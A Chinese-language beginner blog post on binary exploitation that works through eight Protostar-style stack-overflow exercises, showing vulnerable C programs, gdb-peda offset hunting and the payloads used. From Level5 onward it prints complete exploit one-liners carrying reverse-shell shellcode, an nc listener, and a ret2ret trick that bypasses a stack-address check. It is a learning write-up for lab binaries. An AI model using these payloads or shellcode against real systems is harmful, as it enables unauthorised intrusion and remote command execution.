f10@t's blog

入坑Pwn之基本知识

字数统计: 3.6k阅读时长: 19 min
2019/09/29 4

经过了多次比赛web的碰壁,发现现在单纯的web题已经很少见了。。大多都混合了如密码学、逆向等的知识。所以打算入坑pwn,打开新的大门。

要准备的工具(带后续补充)

  • 逆向分析及动态调试用:IDAPro,Ollydbg
  • 调试用:gdb,peda-gdb(或pwngdb这类基于gdb),objdump
  • 其他工具:ROPgadget,one_gadget,LibcSearcher, pwntools

简单示例习题

题目来源

Level0

题目源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];

modified = 0;
gets(buffer);

if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}
可以看到这个程序中有一个大小为64字节的buffer变量,以及一int型的变量modified。正常来说这个程序的执行肯定是输出"Try again?"。

但是这两个变量具有相同的栈底地址,并且buffer变量的输入是通过使用了一个不安全的函数gets(),这个函数之所以危险,是因为这个函数没有限制输入内容的上限,所以可以通过输入超过64字节的buffer变量来覆盖modified变量。

先扔进IDA里看一下反编译的代码:

可以看到变量数组和整型变量之间的地址相差5CH - 10H = 4CH = 76字节,所以用76个字节的数组输入之后,再填充一个非0的值就可以覆盖modified的变量值了。

Level1

Level1和Level0大同小异,Level1的区别是在代码中没有使用gets()这样的不推荐使用的危险函数,但是以不恰当的方式使用了strcpy()这个函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];

if(argc == 1) {
errx(1, "please specify an argument\n");
}

modified = 0;
strcpy(buffer, argv[1]);

if(modified == 0x61626364) {
printf("you have correctly got the variable to the right value\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
可以看到他将输入的参数argv直接拷贝进了buffer,而参数的长度也没有事先的进行检查。这个属于复制和连接字符串上的错误,其他如strcat()、sprintf()也可能会发生(推荐参考图书《C和C++安全编码》)

这段代码要求modified变量的值为十六进制的0x61626364,与上题相同,这里只给出payload(注意小端序):

结果:

Level2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
char *variable;

variable = getenv("GREENIE");

if(variable == NULL) {
errx(1, "please set the GREENIE environment variable\n");
}

modified = 0;

strcpy(buffer, variable);

if(modified == 0x0d0a0d0a) {
printf("you have correctly modified the variable\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}

}

这个也是大同小异,只不过增加了环境变量这个概念,下面是getevn函数的说明:

1
2
3
4
......
DESCRIPTION
The getenv() function searches the environment list to find the environment variable name, and returns a pointer to the corresponding value string.
......
当然这个从环境中获取的变量值的长度也是没有设定的,这里写一个简单的脚本,输出一个环境变量就可以了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python 
#coding:utf-8

import os

payload = 'a' * 64 + '\x0a\x0d\x0a\x0d'
os.putenv("GREENIE", payload)
os.system("./level2")

'''
help on built-in function putenv in module posix:

putenv(...)
putenv(key, value)

Change or add an environment variable.

'''

Level3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
volatile int (*fp)();
char buffer[64];

fp = 0;

gets(buffer);

if(fp) {
printf("calling function pointer, jumping to 0x%08x\n", fp);
fp();
}
}

扔进IDA:

算出地址差为40H即64字节。

使用objdump -d命令找到win()函数的地址为0x08048424

注意一下小端序就可以了。这个简单的实例题演示了如何通过溢出覆写变量来改变程序的流程。

Level4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
char buffer[64];

gets(buffer);
}

这道题目虽然没有其他可以覆盖的变量来进行函数的跳转,但是我们可以通过溢出来覆写main函数的返回地址,从而来改变程序的执行流程,下面进行gdb的调试来判断栈的空间大小:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
$ gdb -q level4
Reading symbols from level4...
gdb-peda$ pattern_create 100 #创建一个保证可以溢出的长度的字符串用于输入
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
Starting program: /root/Desktop/PwnStudy/Level0-7/level4
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xffffd1d0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
EBX: 0x0
ECX: 0xf7fa25c0 --> 0xfbad2288
EDX: 0xf7fa401c --> 0x0
ESI: 0xf7fa2000 --> 0x1d6d6c
EDI: 0xf7fa2000 --> 0x1d6d6c
EBP: 0x65414149 ('IAAe')
ESP: 0xffffd220 ("AJAAfAA5AAKAAgAA6AAL")
EIP: 0x41344141 ('AA4A')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41344141
[------------------------------------stack-------------------------------------]
0000| 0xffffd220 ("AJAAfAA5AAKAAgAA6AAL")
0004| 0xffffd224 ("fAA5AAKAAgAA6AAL")
0008| 0xffffd228 ("AAKAAgAA6AAL")
0012| 0xffffd22c ("AgAA6AAL")
0016| 0xffffd230 ("6AAL")
0020| 0xffffd234 --> 0x0
0024| 0xffffd238 --> 0xf7fa2000 --> 0x1d6d6c
0028| 0xffffd23c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41344141 in ?? ()
gdb-peda$ pattern_offset 0x41344141
1093943617 found at offset: 76 #获得偏移量76

然后我们验证一下是否栈的空间大小就是76:

石锤了,那就objdump查找win函数的地址,覆写上去就好,payload:

  

Level5

1
2
3
4
5
6
7
8
9
10
11
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
char buffer[64];

gets(buffer);
}

这个就更简洁了,那我们的目的就是执行一段我们插入的恶意代码了。下面进行gdb的调试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
gdb-peda$ pattern_create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
gdb-peda$ r
Starting program: /root/Desktop/PwnStudy/Level0-7/level5
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xffffd1d0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
EBX: 0x0
ECX: 0xf7fa25c0 --> 0xfbad2288
EDX: 0xf7fa401c --> 0x0
ESI: 0xf7fa2000 --> 0x1d6d6c
EDI: 0xf7fa2000 --> 0x1d6d6c
EBP: 0x65414149 ('IAAe')
ESP: 0xffffd220 ("AJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
EIP: 0x41344141 ('AA4A')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41344141
[------------------------------------stack-------------------------------------]
0000| 0xffffd220 ("AJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0004| 0xffffd224 ("fAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0008| 0xffffd228 ("AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0012| 0xffffd22c ("AgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0016| 0xffffd230 ("6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0020| 0xffffd234 ("AAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0024| 0xffffd238 ("A7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0028| 0xffffd23c ("MAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41344141 in ?? ()
gdb-peda$ pattern_offset 0x41344141
1093943617 found at offset: 76 #溢出大小为76字节
gdb-peda$ x/100xw $esp #查看栈内前100个存储单元的内容,以16进制(x)每次4字节(w)的格式打印出来
0xffffd220: 0x41414a41 0x35414166 0x414b4141 0x41416741
0xffffd230: 0x4c414136 0x41684141 0x41413741 0x6941414d
0xffffd240: 0x41384141 0x41414e41 0x3941416a 0x414f4141
0xffffd250: 0x41416b41 0x6c414150 0x41514141 0x41416d41
0xffffd260: 0x6f414152 0x41534141 0x41417041 0x71414154
0xffffd270: 0x41554141 0x41417241 0x74414156 0x41574141
0xffffd280: 0x41417541 0x76414158 0x41594141 0x41417741
0xffffd290: 0x7841415a 0x41794141(注意这里) 0xffffd200 0x080483f0
0xffffd2a0: 0x080483e0 0xf7fe42d0 0xffffd2ac 0x0000001c
0xffffd2b0: 0x00000001 0xffffd468 0x00000000 0xffffd48f
0xffffd2c0: 0xffffd4b0 0xffffd4d6 0xffffd524 0xffffd57a
0xffffd2d0: 0xffffd58d 0xffffd5a7 0xffffd5b8 0xffffd5cb
0xffffd2e0: 0xffffd5fc 0xffffd606 0xffffd61c 0xffffd633
0xffffd2f0: 0xffffd63e 0xffffd656 0xffffd66a 0xffffd69d
0xffffd300: 0xffffd6a8 0xffffd6b7 0xffffd6d3 0xffffd710
0xffffd310: 0xffffd71d 0xffffd737 0xffffd74b 0xffffd777
0xffffd320: 0xffffd78f 0xffffd79c 0xffffd7b9 0xffffd7ca
0xffffd330: 0xffffd80c 0xffffd828 0xffffd83d 0xffffd84e
0xffffd340: 0xffffd863 0xffffd872 0xffffd880 0xffffd895
0xffffd350: 0xffffd8a9 0xffffd8cf 0xffffd8f3 0xffffd90a
0xffffd360: 0xffffd91e 0xffffd92f 0xffffd93a 0xffffd942
0xffffd370: 0xffffd969 0xffffd97e 0xffffd989 0xffffd991
0xffffd380: 0xffffd9b1 0xffffdf93 0xffffdfbc 0xffffdfc5
0xffffd390: 0x00000000 0x00000020 0xf7fd3070 0x00000021
0xffffd3a0: 0xf7fd2000 0x00000010 0x1f8bfbff 0x00000006

在确定了溢出的大小为76字节后,我们查看一下栈内的内容,(使用x/命令),可以看到从0xffffd220到0xffffd298都是我们填充的内容,往后都不是了,所以我们可以插入的shellcode的大小为(0xffffd298 - oxffffd220) = 120个字节。这里我去exploit-db上随便找了一个107字节的shellcode,其目的是反弹一个shell到本地的4444端口,下面是payload:
1
2
3
4
5
6
7
8
9
10
11
#输出payload到一个文件
echo `python -c "print 'A' * 76 + '\x20\xd2\xff\xff' +'\x31\xc0\x31\xdb\x50\x40\x50\x40\x50\x89\xe1\xb0\x33\x04\x33\x43\xcd\x80\x89\xc6\x31\xc0\x50\xc6\x04\x24\x7f\xc6\x44\x24\x03\x01\x66\x68\x11\x5c\x43\x66\x53\x89\xe1\xb0\x33\x04\x33\x50\x51\x56\x89\xe1\x43\xcd\x80\x31\xd2\x87\xca\xb1\x03\x89\xf3\x31\xc0\xb0\x3f\x49\xcd\x80\xb0\x3f\x49\xcd\x80\xb0\x3f\x49\xcd\x80\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x51\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80'"` > test.txt

#本地开启监听
nc -l -p 4444

#gdb中将文件作为输入进行读取
gdb-peda$ r < test.txt
Starting program: /root/Desktop/PwnStudy/Level0-7/level5 < test.txt
process 4629 is executing new program: /usr/bin/dash

shell反弹之后就可以执行任意命令了:  

Level6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
char buffer[64];
unsigned int ret;

printf("input path please: "); fflush(stdout);

gets(buffer);

ret = __builtin_return_address(0); //__builtin_return_address(0)的含义是,得到当前函数返回地址

if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}

printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
getpath();

}

首先进行偏移量的确认和可写入大小的确认:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
gdb-peda$ pattern_create 300
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%'
gdb-peda$ r
Starting program: /root/Desktop/PwnStudy/Level0-7/level6
input path please: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%
got path AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAJAAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x136
EBX: 0x0
ECX: 0x7ffffeca
EDX: 0xf7fa4010 --> 0x0
ESI: 0xf7fa2000 --> 0x1d6d6c
EDI: 0xf7fa2000 --> 0x1d6d6c
EBP: 0x41344141 ('AA4A')
ESP: 0xffffd210 ("fAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA"...)
EIP: 0x41414a41 ('AJAA')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414a41
[------------------------------------stack-------------------------------------]
0000| 0xffffd210 ("fAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA"...)
0004| 0xffffd214 ("AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%"...)
0008| 0xffffd218 ("AgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%K"...)
0012| 0xffffd21c ("6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA"...)
0016| 0xffffd220 ("AAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0020| 0xffffd224 ("A7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0024| 0xffffd228 ("MAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0028| 0xffffd22c ("AA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414a41 in ?? ()
gdb-peda$ pattern_offset 0x41414a41
1094797889 found at offset: 80
gdb-peda$ x/200xw $esp
shellcode地址 ---> 0xffffd210: 0x35414166 0x414b4141 0x41416741 0x4c414136
0xffffd220: 0x41684141 0x41413741 0x6941414d 0x41384141
0xffffd230: 0x41414e41 0x3941416a 0x414f4141 0x41416b41
0xffffd240: 0x6c414150 0x41514141 0x41416d41 0x6f414152
0xffffd250: 0x41534141 0x41417041 0x71414154 0x41554141
0xffffd260: 0x41417241 0x74414156 0x41574141 0x41417541
0xffffd270: 0x76414158 0x41594141 0x41417741 0x7841415a
0xffffd280: 0x41794141 0x25417a41 0x73254125 0x41422541
0xffffd290: 0x25412425 0x4325416e 0x412d2541 0x25412825
0xffffd2a0: 0x3b254144 0x41292541 0x25414525 0x30254161
0xffffd2b0: 0x41462541 0x25416225 0x47254131 0x41632541
0xffffd2c0: 0x25413225 0x64254148 0x41332541 0x25414925
0xffffd2d0: 0x34254165 0x414a2541 0x25416625 0x4b254135
0xffffd2e0: 0x41672541 0x25413625(到这里) 0xffffd600 0xffffd633
0xffffd2f0: 0xffffd63e 0xffffd656 0xffffd66a 0xffffd69d
0xffffd300: 0xffffd6a8 0xffffd6b7 0xffffd6d3 0xffffd710
0xffffd310: 0xffffd71d 0xffffd737 0xffffd74b 0xffffd777
0xffffd320: 0xffffd78f 0xffffd79c 0xffffd7b9 0xffffd7ca
0xffffd330: 0xffffd80c 0xffffd828 0xffffd83d 0xffffd84e
0xffffd340: 0xffffd863 0xffffd872 0xffffd880 0xffffd895
0xffffd350: 0xffffd8a9 0xffffd8cf 0xffffd8f3 0xffffd90a
0xffffd360: 0xffffd91e 0xffffd92f 0xffffd93a 0xffffd942
0xffffd370: 0xffffd969 0xffffd97e 0xffffd989 0xffffd991
0xffffd380: 0xffffd9b1 0xffffdf93 0xffffdfbc 0xffffdfc5
结论:偏移量是80字节,可控大小为200字节。

这道题主要就是防止eip转到栈上去执行shell,主要是绕过0xbf000000这个检测(linux下的栈都是0xbf开头)。解决的方法是我们可以使用getpath()函数的ret指令来覆盖main函数的返回地址,当弹出ret到eip时,会执行ret指令(ret的地址是0x08开头,可以绕过上面的限制),再弹出栈头的数据到eip,这时如果栈头是shellcode的地址,那么就溢出成功了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#查看getpath函数的ret指令地址:
gdb-peda$ disassemble getpath
Dump of assembler code for function getpath:
0x08048484 <+0>: push ebp
0x08048485 <+1>: mov ebp,esp
0x08048487 <+3>: sub esp,0x68
0x0804848a <+6>: mov eax,0x80485d0
0x0804848f <+11>: mov DWORD PTR [esp],eax
0x08048492 <+14>: call 0x80483c0 <printf@plt>
0x08048497 <+19>: mov eax,ds:0x8049720
0x0804849c <+24>: mov DWORD PTR [esp],eax
0x0804849f <+27>: call 0x80483b0 <fflush@plt>
0x080484a4 <+32>: lea eax,[ebp-0x4c]
0x080484a7 <+35>: mov DWORD PTR [esp],eax
0x080484aa <+38>: call 0x8048380 <gets@plt>
0x080484af <+43>: mov eax,DWORD PTR [ebp+0x4]
0x080484b2 <+46>: mov DWORD PTR [ebp-0xc],eax
0x080484b5 <+49>: mov eax,DWORD PTR [ebp-0xc]
0x080484b8 <+52>: and eax,0xbf000000
0x080484bd <+57>: cmp eax,0xbf000000
0x080484c2 <+62>: jne 0x80484e4 <getpath+96>
0x080484c4 <+64>: mov eax,0x80485e4
0x080484c9 <+69>: mov edx,DWORD PTR [ebp-0xc]
0x080484cc <+72>: mov DWORD PTR [esp+0x4],edx
0x080484d0 <+76>: mov DWORD PTR [esp],eax
0x080484d3 <+79>: call 0x80483c0 <printf@plt>
0x080484d8 <+84>: mov DWORD PTR [esp],0x1
0x080484df <+91>: call 0x80483a0 <_exit@plt>
0x080484e4 <+96>: mov eax,0x80485f0
0x080484e9 <+101>: lea edx,[ebp-0x4c]
0x080484ec <+104>: mov DWORD PTR [esp+0x4],edx
0x080484f0 <+108>: mov DWORD PTR [esp],eax
0x080484f3 <+111>: call 0x80483c0 <printf@plt>
0x080484f8 <+116>: leave
0x080484f9 <+117>: ret <--- \xf9\x84\x04\x08

# shellcode的地址
0xffffd210 在上面

那么最终payload的格式是这样的:'A' * 80 | ret指令地址 | shellcode的地址 | 隔离'\x90' * 10| shellcode

我还是用上面的那个shellcode来构造最终的payload:

1
2
# 输出paylaod 804835f
echo `python -c "print 'A' * 80 + '\x5f\x83\x04\x08' +'\x10\xd2\xff\xff' + '\x31\xc0\x31\xdb\x50\x40\x50\x40\x50\x89\xe1\xb0\x33\x04\x33\x43\xcd\x80\x89\xc6\x31\xc0\x50\xc6\x04\x24\x7f\xc6\x44\x24\x03\x01\x66\x68\x11\x5c\x43\x66\x53\x89\xe1\xb0\x33\x04\x33\x50\x51\x56\x89\xe1\x43\xcd\x80\x31\xd2\x87\xca\xb1\x03\x89\xf3\x31\xc0\xb0\x3f\x49\xcd\x80\xb0\x3f\x49\xcd\x80\xb0\x3f\x49\xcd\x80\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x51\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80'"` > payload6.txt

Level7

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

char *getpath()
{
char buffer[64];
unsigned int ret;

printf("input path please: "); fflush(stdout);

gets(buffer);

ret = __builtin_return_address(0);

if((ret & 0xb0000000) == 0xb0000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}

printf("got path %s\n", buffer);
return strdup(buffer);
}

int main(int argc, char **argv)
{
getpath();

}

paylaod同上:

1
echo `python -c "print 'A' * 80 + '\x83\x83\04\x08' + '\x00\xd2\xff\xff' + '\x90'*20 + '\x31\xc0\x31\xdb\x50\x40\x50\x40\x50\x89\xe1\xb0\x33\x04\x33\x43\xcd\x80\x89\xc6\x31\xc0\x50\xc6\x04\x24\x7f\xc6\x44\x24\x03\x01\x66\x68\x11\x5c\x43\x66\x53\x89\xe1\xb0\x33\x04\x33\x50\x51\x56\x89\xe1\x43\xcd\x80\x31\xd2\x87\xca\xb1\x03\x89\xf3\x31\xc0\xb0\x3f\x49\xcd\x80\xb0\x3f\x49\xcd\x80\xb0\x3f\x49\xcd\x80\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x51\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80'"` > payload7.txt

Powered By Valine
v1.5.2
CATALOG
  1. 1. 要准备的工具(带后续补充)
  2. 2. 简单示例习题